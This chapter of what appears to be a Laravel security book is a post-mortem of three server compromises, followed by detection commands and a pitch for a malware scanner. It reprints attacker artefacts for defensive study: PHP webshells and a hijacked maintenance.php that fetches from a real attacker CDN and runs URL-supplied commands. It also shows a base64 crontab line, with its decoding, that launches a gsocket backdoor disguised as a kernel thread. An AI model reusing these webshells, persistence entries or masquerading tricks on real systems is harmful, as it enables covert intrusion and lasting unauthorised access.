🔒 Hacked
Chapter 2

Real Attacks We Survived: From Webshells to Binary Backdoors

This chapter isn’t theory. It’s a post-mortem.

Between December 2025 and February 2026, three of our production Laravel applications were compromised. Real businesses. Real users. Real data at risk. The last attack revealed something far worse than webshells - a binary backdoor that had been hiding on our server for 10 months.

We’re sharing everything we learned - the timelines, the files, the techniques - so you can recognize these patterns before they become your problem.

⚠️

This Wasn't Our First Time

Before these three attacks, we had already experienced a similar incident on shared hosting. Twelve Laravel applications on a single hosting account—most of them compromised with the same SEO spam malware. One weak point, twelve infected sites. That’s when we first realized: shared hosting multiplies your risk. But we didn’t learn our lesson fast enough.

Attack #1: The Video Platform (December 2025)

Our first target was an AI-powered video creation platform. Built on Laravel, it helped content creators automatically generate short-form videos for social media—complete with AI narration, dynamic subtitles, and automated editing. It had been running smoothly for months. Then Christmas came.

Timeline

DateTimeEvent
Dec 24UnknownInitial backdoor 1e58d74cc1ff.php planted in /public/
Dec 2502:03First recorded access from IP 194.110.207.198
Dec 25-26OngoingAttacker explores filesystem, uploads additional shells
Dec 26MorningSEO spam directories created: d2f08/, bb75f/, etc.
Dec 26Afternoonaccesson.php copied to ~15 directories
Dec 27EveningWe discover the breach by accident
🚨

72+ Hours Undetected

The attacker had free access to our server for over 72 hours before we noticed anything wrong. There was no monitoring. No alerts. No automated scanning.

The malware files

Here’s what we found when we started investigating:

Primary Webshell:

/public/1e58d74cc1ff.php

This was the main backdoor - a full-featured webshell with file management, command execution, and upload capabilities.

Backup Shells:

/public/cf7a7e59e4.php
/public/98e2628301.php
/public/7a3b2c1d4e.php

The attacker deployed multiple backup shells with randomized hash names. If we found and deleted one, the others would still work.

The Spreader:

accesson.php

This file was copied to approximately 15 directories throughout the project:

/public/accesson.php
/storage/app/public/accesson.php
/resources/accesson.php
/app/accesson.php
/config/accesson.php
/database/accesson.php
... and more

SEO Spam Directories:

/public/d2f08/
/public/bb75f/
/public/a9c3e/

These contained thousands of HTML files with fake product listings, pharmacy spam, and gambling links - all designed to hijack our domain’s SEO authority.

Attack techniques used

1. Hash-named Files

Every malicious file used a random hex string as its name:

This makes manual detection nearly impossible. How do you spot a malicious file among thousands when it looks like a cache file or temporary upload?

2. Multi-location Persistence

By copying accesson.php to 15+ directories, the attacker ensured that:

3. Self-Protection

The webshells included self-protection mechanisms:

Self-Protection Techniques MALICIOUS CODE
// Set file permissions to read-only
chmod(__FILE__, 0444);

// Try to set immutable flag (Linux)
@shell_exec('chattr +i ' . __FILE__);

// Disable error reporting
error_reporting(0);
ini_set('display_errors', 0);

4. Parameter-Based Commands

The webshells used URL parameters for different functions:

How Did They Get In?

Our investigation pointed to a compromised admin account. The attacker likely:

  1. Obtained credentials through phishing or credential stuffing
  2. Logged into the Laravel admin panel
  3. Found a file upload feature with insufficient validation
  4. Uploaded the initial webshell disguised as an image
💀

The Entry Point

The initial backdoor was uploaded through a legitimate feature of our application. The upload validation checked MIME type but not file extension thoroughly. A file named image.php with a forged MIME type passed validation.


Attack #2: The News Platform - First Wave (January 2026)

Three weeks later, it happened again - to a different project.

This was a news analysis platform that helps citizens develop critical thinking about media. Using AI-powered credibility assessment, it enables users to analyze news articles for bias and accuracy. The stakes were high—user trust and platform credibility were on the line.

The Discovery

Unlike the video platform, we didn’t discover this attack ourselves.

The hosting provider’s malware scanner flagged a suspicious file:

/storage/app/public/kjrce03dcm.php
ℹ️

Hosting Provider Detection

Our hosting provider’s generic scanner found what we missed. But their scanner isn’t Laravel-aware - it only caught this because the pattern matched known webshell signatures.

The Malware

File: kjrce03dcm.php Location: /storage/app/public/ Type: Compact webshell (China Chopper variant)

The file was small - only about 4KB - but extremely dangerous:

Webshell Structure (Simplified) MALICIOUS CODE
<?php
// Disable errors
@error_reporting(0);
@ini_set('display_errors', 0);

// Accept commands via POST
if(isset($_POST['cmd'])) {
    echo '<pre>';
    $cmd = $_POST['cmd'];
    // Execute and output
    @system($cmd);
echo '</pre>';
}

// File operations via GET
if(isset($_GET['action'])) {
    switch($_GET['action']) {
case 'upload': /* ... */ break;
case 'download': /* ... */ break;
case 'delete': /* ... */ break;
}
}
?>

The Attack Vector

This time, the entry point was different:

  1. The application had a public file upload feature for user documents
  2. The upload went to storage/app/public/ (publicly accessible via symlink)
  3. Validation checked file size and MIME type, but not the extension
  4. Attacker uploaded kjrce03dcm.php directly

What Saved Us

Two things prevented major damage:

  1. Early detection - The hosting provider flagged it within 48 hours
  2. Limited propagation - The attacker hadn’t yet spread to other directories

But this was luck, not skill.

We cleaned up the webshell. We thought we were safe.

We were wrong.


Attack #3: The News Platform - The Return (February 2026)

💀

The Attack That Changed Everything

What we discovered in February 2026 made the previous two attacks look like warm-ups. While we were cleaning PHP webshells, a binary backdoor had been silently running on our server for 10 months.

What We Found

When SEO spam suddenly appeared on every page of the news platform in early February, we knew something was wrong. But we had already cleaned the webshell from January. How was the attacker back?

The investigation revealed four components working together:

Component 1: maintenance.php Hijack

Laravel’s public/index.php contains this code:

Laravel's index.php - The Dangerous Line
if (file_exists($maintenance = __DIR__.'/../storage/framework/maintenance.php')) {
  require $maintenance;
}

This file is auto-included on EVERY HTTP request before any Laravel code runs. When you put your app in maintenance mode with php artisan down, this is the file that gets created. The attacker knew this - and replaced it with their own version:

Hijacked maintenance.php MALICIOUS CODE
<?php
// COMPONENT 1: SEO Spam Loader
$url = "https://sebat-dulu-bray.b-cdn.net/gratis.txt";
$content = @file_get_contents($url);
if ($content === false) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    $content = curl_exec($ch);
    curl_close($ch);
}
echo $content;
?>
<?php
// COMPONENT 2: Simple Webshell
if (isset($_GET['sley'])) {
    $joday = $_GET['sley'];
    system($joday, $ret);
    echo $ret;
}
?>

Why this is devastating:

  1. SEO spam on every page - spam content fetched from BunnyCDN displayed on every request
  2. Webshell on any URL - simply add ?sley=COMMAND to any URL on the site
  3. Dual fetch mechanism - file_get_contents with curl fallback ensures the spam loads even if one method is disabled
  4. Runs before Laravel - no middleware, no authentication, no framework protections apply

The CDN domain sebat-dulu-bray.b-cdn.net translates to Indonesian slang (“smoke first, bro”) - a clue to the attacker’s origin. The variable names sley and joday further suggest an Indonesian-speaking attacker.

Component 2: bootstrap.cache.php Webshell

The attacker deployed a more sophisticated webshell, using filename mimicry to blend in:

/storage/app/public/bootstrap.cache.php
/storage/bootstrap.cache.php

The name bootstrap.cache.php is designed to look like a legitimate Laravel file - after all, Laravel has a bootstrap/cache/ directory. An admin glancing through files might skip right over it.

bootstrap.cache.php Webshell (Simplified) MALICIOUS CODE
<?php
/*
 * Bootstrap Cache Handler
 * @package Framework Core
 * @license MIT
 */

if(!defined('_INIT')){define('_INIT',1);}

// Access key (hex encoded): "wanna_play_with_me"
$k="\x77\x61\x6e\x6e\x61\x5f\x70\x6c\x61\x79\x5f\x77\x69\x74\x68\x5f\x6d\x65";

if(isset($_GET[$k])||isset($_POST[$k])){
    // Server info dump (software, IP, PHP version, uname)
    // File uploader (arbitrary upload to any writable path)
    // Command executor via shell_exec()
    exit;
}

// STEALTH: Fake 404 page if accessed without password
// Detects server software (nginx/apache) and returns matching 404 page
http_response_code(404);
// ... adaptive 404 based on server software

Key features:

Component 3: The Real Threat - gsocket Binary Backdoor

🚨

This Changed Everything We Knew About Server Security

While we were focused on PHP files, a binary backdoor had been running on our server since April 2025 - ten months before we found it. It wasn’t PHP. It wasn’t in any web directory. It was invisible to every scanner, every monitoring tool, and every manual inspection we had done.

Hidden deep in a system configuration directory:

/var/www/.config/htop/defunct      (2.8MB ELF binary)
/var/www/.config/htop/defunct.dat  (23-byte auth key)

This was gsocket (Global Socket) - a tool that provides encrypted shell access through relay servers. Here’s what makes it terrifying:

FeatureDetail
No open portsUses Global Socket Relay Network - nothing shows up in netstat or ss
Bypasses firewallsConnects through relay servers, not direct connections
Invisible connectionsNo inbound or outbound connections visible in network monitoring
Static binaryNo library dependencies - runs on any Linux x86-64 system
Stripped symbolsDebug info removed, harder to reverse engineer
Tiny footprintJust 2.8MB, owned by www-data with 700 permissions

The attacker could connect to our server at any time using a shared secret key, get a full interactive shell, and we would never see it. No logs. No alerts. No open ports. Nothing.

Component 4: Crontab Persistence - The Unkillable Process

The attacker ensured gsocket would survive server reboots using a cleverly disguised crontab entry:

www-data Crontab Entry MALICIOUS CODE
# DO NOT REMOVE THIS LINE. SEED PRNG. #defunct-kernel
0 * * * * { echo L3Vzci9iaW4vcGtpbGwgLTAgLVUzMyBkZWZ1bmN0IDI+L2Rldi9udWxsIHx8IFNIRUxMPSBURVJNPXh0ZXJtLTI1NmNvbG9yIEdTX0FSR1M9Ii1rIC92YXIvd3d3Ly5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW3NsdWJfZmx1c2h3cV0nICcvdmFyL3d3dy8uY29uZmlnL2h0b3AvZGVmdW5jdCciIDI+L2Rldi9udWxsCg==|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random

Let’s decode what this does. The base64 payload decodes to:

Decoded Crontab Payload MALICIOUS CODE
/usr/bin/pkill -0 -U33 defunct 2>/dev/null || \
  SHELL= TERM=xterm-256color GS_ARGS="-k /var/www/.config/htop/defunct.dat -liqD" \
  /usr/bin/bash -c "exec -a '[slub_flushwq]' '/var/www/.config/htop/defunct'" 2>/dev/null

Step by step:

  1. pkill -0 -U33 defunct - Check if gsocket is already running as UID 33 (www-data)
  2. If NOT running (||): start it with these settings:
    • -k defunct.dat - use the authentication key file
    • -l - listen mode (wait for attacker to connect)
    • -i - interactive shell
    • -q - quiet mode (no output)
    • -D - daemon mode (run in background)
  3. exec -a '[slub_flushwq]' - Rename the process to look like a kernel thread

That last part is critical. In Linux, kernel threads appear in ps output with brackets: [kworker/0:0], [migration/0], [slub_flushwq]. By naming the gsocket process [slub_flushwq] (which is a real Linux kernel worker thread name), it becomes virtually invisible in process listings. You’d have to know it shouldn’t be running as www-data to notice anything wrong.

The evasion layers are remarkable:

TechniquePurpose
"DO NOT REMOVE THIS LINE. SEED PRNG."Fake system comment - looks like a system-critical entry
Base64 encodingActual command invisible to casual inspection
#1b5b324a at the endANSI escape sequence \e[2J (clear screen) in hex
Hourly execution (0 * * * *)If the process dies, it restarts within an hour
2>/dev/nullAll errors silently discarded

The Complete Timeline

DateEvent
Apr 24, 2025gsocket binary installed in /var/www/.config/htop/
www-data crontab persistence installed
10 months of undetected access begin
Jan 24, 2026Attacker deploys bootstrap.cache.php webshells
First detection by hosting provider’s scanner
User cleanupWebshell PHP files removed manually
gsocket backdoor NOT discovered
Crontab NOT checked
Feb 4, 2026Re-infection via gsocket backdoor
maintenance.php hijacked with SEO spam + webshell
sitemap.xml and robots.txt modified
Feb 9, 2026Full investigation - all components discovered
VPS stopped for forensic analysis
Crontab persistence identified and removed

Why the Malware Kept Coming Back

We cleaned the PHP webshells in January. The attacker was back within days.

The reason is simple: cleaning PHP files doesn’t remove the attacker. The gsocket binary gave them persistent access to our server. Every time we cleaned up, they simply reconnected through the relay network and redeployed their malware.

It’s like changing the locks on your front door while the burglar is hiding in your attic.


Common Patterns Across All Three Attacks

Looking at all three incidents over 12 months, clear patterns emerged:

1. Target Directories

All attacks targeted publicly accessible directories or directories writable by the web server:

DirectoryWhy It’s Targeted
/public/Directly web-accessible
/storage/app/public/Accessible via symlink
/storage/framework/Laravel auto-includes files from here
/var/www/.config/Hidden directory, rarely audited

2. Filename Strategies

StrategyExamplePurpose
Random hash1e58d74cc1ff.phpAvoid detection
Common nameaccesson.phpLook like a plugin
Framework mimicrybootstrap.cache.phpLook like Laravel file
System mimicrydefunctLook like system process
Maintenance hijackmaintenance.phpReplace legitimate file

3. Persistence Escalation

The persistence mechanisms evolved across attacks:

  1. Attack #1 - Multi-copy PHP files (15+ copies of accesson.php)
  2. Attack #2 - Single webshell in upload directory
  3. Attack #3 - Binary backdoor + crontab + process masquerading

Each level is harder to detect and harder to remove than the last.

4. Process Masquerading

The gsocket backdoor renamed itself to [slub_flushwq] - a legitimate Linux kernel thread name. In ps aux output, it’s indistinguishable from a real kernel process unless you check the UID (kernel threads run as root, this ran as www-data).

5. No Monitoring = No Detection

Across all three attacks, not one was detected by our own systems. We had:


Lessons Learned

Lesson 1: PHP Should Never Exist in Upload Directories

🚨

Golden Rule

There is NEVER a legitimate reason for a .php file to exist in:

  • /storage/app/public/
  • /public/uploads/
  • Any user-upload directory

If a PHP file appears there, it’s malware. Period.

Lesson 2: Cleaning Visible Malware Is Not Enough

This is the most important lesson from our experience. When you find and remove PHP webshells, you’ve only addressed the symptom, not the cause. If the attacker has a binary backdoor, a crontab entry, or compromised SSH keys, they’ll be back within hours.

A complete cleanup requires:

Lesson 3: Binary Backdoors Are More Dangerous Than PHP Webshells

The gsocket binary was the real threat in our case - active for 10 months while we were focused on PHP files. Binary backdoors:

Lesson 4: Check Crontabs for ALL Users

for user in $(cut -f1 -d: /etc/passwd); do
    echo "=== $user ==="
    sudo crontab -u $user -l 2>/dev/null
done

Any crontab entry with base64, piping to bash, or referencing hidden directories is a red flag. The comment “DO NOT REMOVE” is itself a social engineering trick.

Lesson 5: Process Masquerading Defeats Basic Monitoring

A process named [slub_flushwq] running as www-data instead of root is malicious - but you’d never notice without knowing what to look for. Regular process monitoring tools won’t flag it because the name matches a legitimate kernel thread.

Lesson 6: maintenance.php Is a Dangerous Attack Vector

Laravel auto-includes storage/framework/maintenance.php on every request. This makes it a perfect target for persistent code execution:

If this file exists and your app isn’t in maintenance mode, something is wrong.

Lesson 7: Shared Hosting Multiplies Risk

Remember the attack we mentioned at the start? Before these three incidents, twelve applications on shared hosting were compromised in a single sweep. On shared hosting, one vulnerable application can lead to all of them being infected.

Lesson 8: Generic Scanners Aren’t Enough

The hosting provider’s scanner found kjrce03dcm.php because it matched a known signature. But it missed:


How to Check Your Own Server

If you’re reading this and wondering whether your server is compromised, here are the commands to run right now:

1. Check for hidden binaries

Find ELF Binaries in Web Directories
# Find ELF binaries in web directories
find /var/www/ -type f -exec file {} \; 2>/dev/null | grep "ELF"

# Check hidden directories under webroot
find /var/www/ -path "*/.*/*" -type f 2>/dev/null

# Specifically check .config directories
ls -laR /var/www/.config/ 2>/dev/null
ls -laR /home/*/.config/ 2>/dev/null

2. Audit all crontabs

Check All User Crontabs
# Check all user crontabs
for user in $(cut -f1 -d: /etc/passwd); do
  echo "=== $user ==="
  sudo crontab -u $user -l 2>/dev/null
done

# Look for base64 in crontabs
sudo grep -r "base64" /var/spool/cron/ 2>/dev/null
sudo grep -r "base64" /etc/cron* 2>/dev/null

3. Check for process masquerading

Find Suspicious Processes
# Kernel-thread-like processes NOT running as root = suspicious
ps aux | grep '\[' | grep -v root

# Check for known gsocket process names
ps aux | grep -i "slub_flush\|defunct\|gsocket\|gs-netcat"

4. Check for PHP in forbidden directories

Find PHP Files Where They Shouldn't Be
# PHP files in storage (excluding compiled views)
find /var/www/*/storage/ -name "*.php" \
-not -path "*/framework/views/*" 2>/dev/null

# PHP files in public (excluding index.php)
find /var/www/*/public/ -name "*.php" \
-not -name "index.php" 2>/dev/null

5. Check maintenance.php

Verify maintenance.php Integrity
# maintenance.php should only exist when in maintenance mode
# If it exists, verify content is legitimate Laravel output
for site in /var/www/*/; do
  if [ -f "${site}storage/framework/maintenance.php" ]; then
      echo "=== FOUND: ${site}storage/framework/maintenance.php ==="
      head -10 "${site}storage/framework/maintenance.php"
      echo "--- CHECK: Is your app actually in maintenance mode? ---"
  fi
done

Red Flags Summary

If you see any of these, investigate immediately:


The Birth of This Project

These three attacks - spanning 12 months and escalating from simple webshells to a sophisticated binary backdoor - forced us to act.

We couldn’t keep hoping we’d get lucky. We needed:

  1. Automated scanning that understands Laravel’s structure
  2. Real-time monitoring that alerts us to new threats
  3. Signature detection for known malware patterns
  4. Behavioral analysis for unknown threats
  5. Binary file detection in web directories
  6. Crontab auditing for persistence mechanisms
  7. Zero false positives so we could trust the alerts

That’s why we built Laravel Malware Scanner.

And that’s why we’re sharing this book with you - so you can learn from our mistakes instead of making your own.


Next: Chapter 3 - The 6 Most Common Attack Vectors in Laravel →

In the next chapter, we’ll examine the most common ways attackers compromise Laravel applications - including the critical CVEs you need to know about.